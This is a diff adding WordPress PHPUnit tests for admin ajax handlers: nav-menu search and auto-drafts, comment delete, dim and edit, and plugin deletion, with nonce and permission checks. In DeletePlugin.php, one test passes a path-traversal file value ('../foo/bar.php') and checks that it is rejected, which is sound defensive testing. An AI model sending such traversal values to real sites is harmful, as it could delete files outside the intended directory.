+	 *     @type array {
+	 *         @string string $post_args        The args that will be passed to ajax.
+	 *         @array  array  $expected_results The expected results from the ajax call.
+	 *     }
+	 * }
+	 */
+	function data_ajax_search_available_items_results() {
+		return array(
+			array(
+				array(),
+				array(
+					'success' => false,
+					'data'    => 'nav_menus_missing_search_parameter',
+				),
+			),
+			array(
+				array(
+					'search'  => 'all_the_things',
+				),
+				array(
+					'success' => false,
+					'data'    => array(
+						'message' => 'No results found.',
+					),
+				),
+			),
+			array(
+				array(
+					'search'  => 'test',
+				),
+				array(
+					'success' => true,
+					array(),
+				),
+			),
+		);
+	}
+
+	/**
+	 * Testing successful ajax_insert_auto_draft_post() call.
+	 *
+	 * @covers WP_Customize_Nav_Menus::ajax_insert_auto_draft_post()
+	 */
+	function test_ajax_insert_auto_draft_post_success() {
+		$_POST = wp_slash( array(
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+			'params' => array(
+				'post_type' => 'post',
+				'post_title' => 'Hello World',
+			),
+		) );
+		$this->_last_response = '';
+		$this->make_ajax_call( 'customize-nav-menus-insert-auto-draft' );
+		$response = json_decode( $this->_last_response, true );
+
+		$this->assertTrue( $response['success'] );
+		$this->assertArrayHasKey( 'post_id', $response['data'] );
+		$this->assertArrayHasKey( 'url', $response['data'] );
+		$post = get_post( $response['data']['post_id'] );
+		$this->assertEquals( 'Hello World', $post->post_title );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( '', $post->post_name );
+		$this->assertEquals( 'hello-world', get_post_meta( $post->ID, '_customize_draft_post_name', true ) );
+		$this->assertEquals( $this->wp_customize->changeset_uuid(), get_post_meta( $post->ID, '_customize_changeset_uuid', true ) );
+	}
+
+	/**
+	 * Testing unsuccessful ajax_insert_auto_draft_post() call.
+	 *
+	 * @covers WP_Customize_Nav_Menus::ajax_insert_auto_draft_post()
+	 */
+	function test_ajax_insert_auto_draft_failures() {
+		// No nonce.
+		$_POST = array();
+		$this->_last_response = '';
+		$this->make_ajax_call( 'customize-nav-menus-insert-auto-draft' );
+		$response = json_decode( $this->_last_response, true );
+		$this->assertFalse( $response['success'] );
+		$this->assertEquals( 'bad_nonce', $response['data'] );
+
+		// Bad nonce.
+		$_POST = wp_slash( array(
+			'customize-menus-nonce' => 'bad',
+		) );
+		$this->_last_response = '';
+		$this->make_ajax_call( 'customize-nav-menus-insert-auto-draft' );
+		$response = json_decode( $this->_last_response, true );
+		$this->assertFalse( $response['success'] );
+		$this->assertEquals( 'bad_nonce', $response['data'] );
+
+		// Bad nonce.
+		wp_set_current_user( $this->factory()->user->create( array( 'role' => 'subscriber' ) ) );
+		$_POST = wp_slash( array(
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+		) );
+		$this->_last_response = '';
+		$this->make_ajax_call( 'customize-nav-menus-insert-auto-draft' );
+		$response = json_decode( $this->_last_response, true );
+		$this->assertFalse( $response['success'] );
+		$this->assertEquals( 'customize_not_allowed', $response['data'] );
+
+		// Missing params.
+		wp_set_current_user( $this->factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$_POST = wp_slash( array(
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+		) );
+		$this->_last_response = '';
+		$this->make_ajax_call( 'customize-nav-menus-insert-auto-draft' );
+		$response = json_decode( $this->_last_response, true );
+		$this->assertFalse( $response['success'] );
+		$this->assertEquals( 'missing_params', $response['data'] );
+
+		// insufficient_post_permissions.
+		register_post_type( 'privilege', array( 'capability_type' => 'privilege' ) );
+		$_POST = wp_slash( array(
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+			'params' => array(
+				'post_type' => 'privilege',
+			),
+		) );
+		$this->_last_response = '';
+		$this->make_ajax_call( 'customize-nav-menus-insert-auto-draft' );
+		$response = json_decode( $this->_last_response, true );
+		$this->assertFalse( $response['success'] );
+		$this->assertEquals( 'insufficient_post_permissions', $response['data'] );
+
+		// insufficient_post_permissions.
+		$_POST = wp_slash( array(
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+			'params' => array(
+				'post_type' => 'non-existent',
+			),
+		) );
+		$this->_last_response = '';
+		$this->make_ajax_call( 'customize-nav-menus-insert-auto-draft' );
+		$response = json_decode( $this->_last_response, true );
+		$this->assertFalse( $response['success'] );
+		$this->assertEquals( 'missing_post_type_param', $response['data'] );
+
+		// missing_post_title.
+		$_POST = wp_slash( array(
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+			'params' => array(
+				'post_type' => 'post',
+				'post_title' => '    ',
+			),
+		) );
+		$this->_last_response = '';
+		$this->make_ajax_call( 'customize-nav-menus-insert-auto-draft' );
+		$response = json_decode( $this->_last_response, true );
+		$this->assertFalse( $response['success'] );
+		$this->assertEquals( 'missing_post_title', $response['data'] );
+
+		// illegal_params.
+		$_POST = wp_slash( array(
+			'customize-menus-nonce' => wp_create_nonce( 'customize-menus' ),
+			'params' => array(
+				'post_type' => 'post',
+				'post_title' => 'OK',
+				'post_name' => 'bad',
+				'post_content' => 'bad',
+			),
+		) );
+		$this->_last_response = '';
+		$this->make_ajax_call( 'customize-nav-menus-insert-auto-draft' );
+		$response = json_decode( $this->_last_response, true );
+		$this->assertFalse( $response['success'] );
+		$this->assertEquals( 'illegal_params', $response['data'] );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/DeleteComment.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/DeleteComment.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/DeleteComment.php	(revision 56912)
@@ -0,0 +1,339 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_DeleteComment extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * List of comments
+	 * @var array
+	 */
+	protected static $comments = array();
+
+	/**
+	 * ID of a post.
+	 * @var int
+	 */
+	protected static $post_id;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$post_id = $factory->post->create();
+
+		$comment_ids = $factory->comment->create_post_comments( self::$post_id, 8 );
+		self::$comments = array_map( 'get_comment', $comment_ids );
+	}
+
+	/**
+	 * Clear the POST actions in between requests
+	 */
+	protected function _clear_post_action() {
+		unset($_POST['trash']);
+		unset($_POST['untrash']);
+		unset($_POST['spam']);
+		unset($_POST['unspam']);
+		unset($_POST['delete']);
+		$this->_last_response = '';
+	}
+
+	/***********************************************************/
+	/** Test prototype
+    /***********************************************************/
+
+	/**
+	 * Test as a privilged user (administrator)
+	 * Expects test to pass
+	 * @param mixed $comment Comment object
+	 * @param string action trash, untrash, etc.
+	 * @return void
+	 */
+	public function _test_as_admin( $comment, $action ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID );
+		$_POST[$action]       = 1;
+		$_POST['_total']      = count( self::$comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'delete-comment' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response
+		$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+		// Ensure everything is correct
+		$this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->comment['id'] );
+		$this->assertEquals( 'delete-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+		$this->assertGreaterThanOrEqual( time() - 10, (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+		$this->assertLessThanOrEqual( time(), (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+
+		// trash, spam, delete should make the total go down
+		if ( in_array( $action, array( 'trash', 'spam', 'delete' ) ) ) {
+			$total = $_POST['_total'] - 1;
+
+		// unspam, untrash should make the total go up
+		} elseif ( in_array( $action, array( 'untrash', 'unspam' ) ) ) {
+			$total = $_POST['_total'] + 1;
+		}
+
+		// The total is calculated based on a page break -OR- a random number.  Let's look for both possible outcomes
+		$comment_count = wp_count_comments( 0 );
+		$recalc_total = $comment_count->total_comments;
+
+		// Check for either possible total
+		$message = sprintf( 'returned value: %1$d $total: %2$d  $recalc_total: %3$d', (int)  $xml->response[0]->comment[0]->supplemental[0]->total[0], $total, $recalc_total );
+		$this->assertTrue( in_array( (int) $xml->response[0]->comment[0]->supplemental[0]->total[0] , array( $total, $recalc_total ) ), $message );
+	}
+
+	/**
+	 * Test as a non-privileged user (subscriber)
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @param string action trash, untrash, etc.
+	 * @return void
+	 */
+	public function _test_as_subscriber( $comment, $action ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'subscriber' );
+
+		// Set up the $_POST request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID );
+		$_POST[$action]       = 1;
+		$_POST['_total']      = count( self::$comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'delete-comment' );
+	}
+
+
+	/**
+	 * Test with a bad nonce
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @param string action trash, untrash, etc.
+	 * @return void
+	 */
+	public function _test_with_bad_nonce( $comment, $action ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'administrator' );
+
+		// Set up the $_POST request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( uniqid() );
+		$_POST[$action]       = 1;
+		$_POST['_total']      = count( self::$comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'delete-comment' );
+	}
+
+	/**
+	 * Test with a bad id
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @param string action trash, untrash, etc.
+	 * @return void
+	 */
+	public function _test_with_bad_id( $comment, $action ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'administrator' );
+
+		// Set up the $_POST request
+		$_POST['id']          = 12346789;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_12346789' );
+		$_POST[$action]       = 1;
+		$_POST['_total']      = count( self::$comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request, look for a timestamp in the exception
+		try {
+			$this->_handleAjax( 'delete-comment' );
+			$this->fail( 'Expected exception: WPAjaxDieStopException' );
+		} catch ( WPAjaxDieStopException $e ) {
+			$this->assertEquals( 10, strlen( $e->getMessage() ) );
+			$this->assertTrue( is_numeric( $e->getMessage() ) );
+		} catch ( Exception $e ) {
+			$this->fail( 'Unexpected exception type: ' . get_class( $e ) );
+		}
+	}
+
+	/**
+	 * Test doubling the action (e.g. trash a trashed comment)
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @param string action trash, untrash, etc.
+	 * @return void
+	 */
+	public function _test_double_action( $comment, $action ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'administrator' );
+
+		// Set up the $_POST request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID );
+		$_POST[$action]       = 1;
+		$_POST['_total']      = count( self::$comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'delete-comment' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+		$this->_last_response = '';
+
+		// Force delete the comment
+		if ( 'delete' == $action ) {
+			wp_delete_comment( $comment->comment_ID, true );
+		}
+
+		// Make the request again, look for a timestamp in the exception
+		try {
+			$this->_handleAjax( 'delete-comment' );
+			$this->fail( 'Expected exception: WPAjaxDieStopException' );
+		} catch ( WPAjaxDieStopException $e ) {
+			$this->assertEquals( 10, strlen( $e->getMessage() ) );
+			$this->assertTrue( is_numeric( $e->getMessage() ) );
+		} catch ( Exception $e ) {
+			$this->fail( 'Unexpected exception type: ' . get_class( $e ) );
+		}
+	}
+
+	/**
+	 * Delete a comment as an administrator (expects success)
+	 * @return void
+	 */
+	public function test_ajax_comment_trash_actions_as_administrator() {
+		// Test trash/untrash
+		$this->_test_as_admin( self::$comments[0], 'trash' );
+		$this->_test_as_admin( self::$comments[0], 'untrash' );
+
+		// Test spam/unspam
+		$this->_test_as_admin( self::$comments[1], 'spam' );
+		$this->_test_as_admin( self::$comments[1], 'unspam' );
+
+		// Test delete
+		$this->_test_as_admin( self::$comments[2], 'delete' );
+	}
+
+	/**
+	 * Delete a comment as a subscriber (expects permission denied)
+	 * @return void
+	 */
+	public function test_ajax_comment_trash_actions_as_subscriber() {
+		// Test trash/untrash
+		$this->_test_as_subscriber( self::$comments[0], 'trash' );
+		$this->_test_as_subscriber( self::$comments[0], 'untrash' );
+
+		// Test spam/unspam
+		$this->_test_as_subscriber( self::$comments[1], 'spam' );
+		$this->_test_as_subscriber( self::$comments[1], 'unspam' );
+
+		// Test delete
+		$this->_test_as_subscriber( self::$comments[2], 'delete' );
+	}
+
+	/**
+	 * Delete a comment with no id
+	 * @return void
+	 */
+	public function test_ajax_trash_comment_no_id() {
+		// Test trash/untrash
+		$this->_test_as_admin( self::$comments[0], 'trash' );
+		$this->_test_as_admin( self::$comments[0], 'untrash' );
+
+		// Test spam/unspam
+		$this->_test_as_admin( self::$comments[1], 'spam' );
+		$this->_test_as_admin( self::$comments[1], 'unspam' );
+
+		// Test delete
+		$this->_test_as_admin( self::$comments[2], 'delete' );
+	}
+
+	/**
+	 * Delete a comment with a bad nonce
+	 * @return void
+	 */
+	public function test_ajax_trash_comment_bad_nonce() {
+		// Test trash/untrash
+		$this->_test_with_bad_nonce( self::$comments[0], 'trash' );
+		$this->_test_with_bad_nonce( self::$comments[0], 'untrash' );
+
+		// Test spam/unspam
+		$this->_test_with_bad_nonce( self::$comments[1], 'spam' );
+		$this->_test_with_bad_nonce( self::$comments[1], 'unspam' );
+
+		// Test delete
+		$this->_test_with_bad_nonce( self::$comments[2], 'delete' );
+	}
+
+	/**
+	 * Test trashing an already trashed comment, etc.
+	 * @return void
+	 */
+	public function test_ajax_trash_double_action() {
+		// Test trash/untrash
+		$this->_test_double_action( self::$comments[0], 'trash' );
+		$this->_test_double_action( self::$comments[0], 'untrash' );
+
+		// Test spam/unspam
+		$this->_test_double_action( self::$comments[1], 'spam' );
+		$this->_test_double_action( self::$comments[1], 'unspam' );
+
+		// Test delete
+		$this->_test_double_action( self::$comments[2], 'delete' );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/DeletePlugin.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/DeletePlugin.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/DeletePlugin.php	(revision 56912)
@@ -0,0 +1,158 @@
+<?php
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing Ajax handler for deleting a plugin.
+ *
+ * @group ajax
+ */
+class Tests_Ajax_Delete_Plugin extends WP_Ajax_UnitTestCase {
+	/**
+	 * @expectedException WPAjaxDieStopException
+	 * @expectedExceptionMessage -1
+	 */
+	public function test_missing_nonce() {
+		$this->_handleAjax( 'delete-plugin' );
+	}
+
+	public function test_missing_plugin() {
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['slug']        = 'foo';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'delete-plugin' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'slug'         => '',
+				'errorCode'    => 'no_plugin_specified',
+				'errorMessage' => 'No plugin specified.',
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+
+	public function test_missing_slug() {
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['plugin']      = 'foo/bar.php';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'delete-plugin' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'slug'         => '',
+				'errorCode'    => 'no_plugin_specified',
+				'errorMessage' => 'No plugin specified.',
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+
+	public function test_missing_capability() {
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['plugin']      = 'foo/bar.php';
+		$_POST['slug']        = 'foo';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'delete-plugin' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'delete'       => 'plugin',
+				'slug'         => 'foo',
+				'errorMessage' => 'Sorry, you are not allowed to delete plugins for this site.',
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+
+	public function test_invalid_file() {
+		$this->_setRole( 'administrator' );
+
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['plugin']      = '../foo/bar.php';
+		$_POST['slug']        = 'foo';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'delete-plugin' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => false,
+			'data'    => array(
+				'delete'       => 'plugin',
+				'slug'         => 'foo',
+				'errorMessage' => 'Sorry, you are not allowed to delete plugins for this site.',
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+
+	public function test_delete_plugin() {
+		$this->_setRole( 'administrator' );
+
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'updates' );
+		$_POST['plugin']      = 'foo.php';
+		$_POST['slug']        = 'foo';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'delete-plugin' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response.
+		$response = json_decode( $this->_last_response, true );
+
+		$expected = array(
+			'success' => true,
+			'data'    => array(
+				'delete'       => 'plugin',
+				'slug'         => 'foo',
+				'plugin'       => 'foo.php',
+				'pluginName'   => '',
+			),
+		);
+
+		$this->assertEqualSets( $expected, $response );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/DimComment.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/DimComment.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/DimComment.php	(revision 56912)
@@ -0,0 +1,237 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_DimComment extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * List of comments
+	 * @var array
+	 */
+	protected $_comments = array();
+
+	/**
+	 * Set up the test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+		$post_id = self::factory()->post->create();
+		$this->_comments = self::factory()->comment->create_post_comments( $post_id, 15 );
+		$this->_comments = array_map( 'get_comment', $this->_comments );
+	}
+
+	/**
+	 * Clear the POST actions in between requests
+	 */
+	protected function _clear_post_action() {
+		unset($_POST['id']);
+		unset($_POST['new']);
+		$this->_last_response = '';
+	}
+
+	/***********************************************************/
+	/** Test prototype
+	/***********************************************************/
+
+	/**
+	 * Test as a privilged user (administrator)
+	 * Expects test to pass
+	 * @param mixed $comment Comment object
+	 * @return void
+	 */
+	public function _test_as_admin( $comment ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'approve-comment_' . $comment->comment_ID );
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Save the comment status
+		$prev_status          = wp_get_comment_status( $comment->comment_ID );
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'dim-comment' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response
+		$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+		// Ensure everything is correct
+		$this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->comment['id'] );
+		$this->assertEquals( 'dim-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+		$this->assertGreaterThanOrEqual( time() - 10, (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+		$this->assertLessThanOrEqual( time(), (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+
+		// Check the status
+		$current = wp_get_comment_status( $comment->comment_ID );
+		if (in_array( $prev_status, array( 'unapproved', 'spam') ) ) {
+			$this->assertEquals( 'approved', $current );
+		} else {
+			$this->assertEquals( 'unapproved', $current );
+		}
+
+		// The total is calculated based on a page break -OR- a random number.  Let's look for both possible outcomes
+		$comment_count = wp_count_comments( 0 );
+		$recalc_total = $comment_count->total_comments;
+
+		// Delta is not specified, it will always be 1 lower than the request
+		$total = $_POST['_total'] - 1;
+
+		// Check for either possible total
+		$this->assertTrue( in_array( (int) $xml->response[0]->comment[0]->supplemental[0]->total[0] , array( $total, $recalc_total ) ) );
+	}
+
+	/**
+	 * Test as a non-privileged user (subscriber)
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @return void
+	 */
+	public function _test_as_subscriber( $comment ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'subscriber' );
+
+		// Set up the $_POST request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'approve-comment_' . $comment->comment_ID );
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'dim-comment' );
+	}
+
+	/**
+	 * Test with a bad nonce
+	 * Expects test to fail
+	 * @param mixed $comment Comment object
+	 * @return void
+	 */
+	public function _test_with_bad_nonce( $comment ) {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'administrator' );
+
+		// Set up the $_POST request
+		$_POST['id']          = $comment->comment_ID;
+		$_POST['_ajax_nonce'] = wp_create_nonce( uniqid() );
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'dim-comment' );
+	}
+
+	/**
+	 * Test with a bad id
+	 * Expects test to fail
+	 * @return void
+	 */
+	public function test_with_bad_id() {
+
+		// Reset request
+		$this->_clear_post_action();
+
+		// Become a subscriber
+		$this->_setRole( 'administrator' );
+
+		// Set up the $_POST request
+		$_POST['id']          = 12346789;
+		$_POST['_ajax_nonce'] = wp_create_nonce( 'dim-comment_12346789' );
+		$_POST['_total']      = count( $this->_comments );
+		$_POST['_per_page']   = 100;
+		$_POST['_page']       = 1;
+		$_POST['_url']        = admin_url( 'edit-comments.php' );
+
+		// Make the request, look for a timestamp in the exception
+		try {
+			$this->_handleAjax( 'dim-comment' );
+			$this->fail( 'Expected exception: WPAjaxDieContinueException' );
+		} catch ( WPAjaxDieContinueException $e ) {
+
+			// Get the response
+			$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+			// Ensure everything is correct
+			$this->assertEquals( '0', (string) $xml->response[0]->comment['id'] );
+			$this->assertEquals( 'dim-comment_0', (string) $xml->response['action'] );
+			$this->assertContains( 'Comment ' . $_POST['id'] . ' does not exist', $this->_last_response );
+
+		} catch ( Exception $e ) {
+			$this->fail( 'Unexpected exception type: ' . get_class( $e ) );
+		}
+	}
+
+	/**
+	 * Dim a comment as an administrator (expects success)
+	 * @return void
+	 */
+	public function test_ajax_comment_dim_actions_as_administrator() {
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_admin( $comment );
+		$this->_test_as_admin( $comment );
+	}
+
+	/**
+	 * Dim a comment as a subscriber (expects permission denied)
+	 * @return void
+	 */
+	public function test_ajax_comment_dim_actions_as_subscriber() {
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_subscriber( $comment );
+	}
+
+	/**
+	 * Dim a comment with no id
+	 * @return void
+	 */
+	public function test_ajax_dim_comment_no_id() {
+		$comment = array_pop( $this->_comments );
+		$this->_test_as_admin( $comment );
+	}
+
+	/**
+	 * Dim a comment with a bad nonce
+	 * @return void
+	 */
+	public function test_ajax_dim_comment_bad_nonce() {
+		$comment = array_pop( $this->_comments );
+		$this->_test_with_bad_nonce( $comment );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/ajax/EditComment.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/ajax/EditComment.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/ajax/EditComment.php	(revision 56912)
@@ -0,0 +1,194 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_EditComment extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * A post with at least one comment
+	 * @var mixed
+	 */
+	protected $_comment_post = null;
+
+	/**
+	 * Set up the test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+		$post_id = self::factory()->post->create();
+		self::factory()->comment->create_post_comments( $post_id, 5 );
+		$this->_comment_post = get_post( $post_id );
+	}
+
+	/**
+	 * Get comments as a privilged user (administrator)
+	 * Expects test to pass
+	 * @return void
+	 */
+	public function test_as_admin() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Get a comment
+		$comments = get_comments( array(
+			'post_id' => $this->_comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'edit-comment' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response
+		$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+		// Check the meta data
+		$this->assertEquals( -1, (string) $xml->response[0]->edit_comment['position'] );
+		$this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->edit_comment['id'] );
+		$this->assertEquals( 'edit-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+
+		// Check the payload
+		$this->assertNotEmpty( (string) $xml->response[0]->edit_comment[0]->response_data );
+
+		// And supplemental is empty
+		$this->assertEmpty( (string) $xml->response[0]->edit_comment[0]->supplemental );
+	}
+
+	/**
+	 * @ticket 33154
+	 */
+	function test_editor_can_edit_orphan_comments() {
+		global $wpdb;
+
+		// Become an editor
+		$this->_setRole( 'editor' );
+
+		// Get a comment
+		$comments = get_comments( array(
+			'post_id' => $this->_comment_post->ID
+		) );
+		$comment = array_pop( $comments );
+
+		// Manually update the comment_post_ID, because wp_update_comment() will prevent it.
+		$wpdb->query( "UPDATE {$wpdb->comments} SET comment_post_ID=0 WHERE comment_ID={$comment->comment_ID}" );
+		clean_comment_cache( $comment->comment_ID );
+
+		// Set up a default request
+		$_POST['_ajax_nonce-replyto-comment'] = wp_create_nonce( 'replyto-comment' );
+		$_POST['comment_ID']                  = $comment->comment_ID;
+		$_POST['content']                     = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'edit-comment' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Get the response
+		$xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+		// Check the meta data
+		$this->assertEquals( -1, (string) $xml->response[0]->edit_comment['position'] );
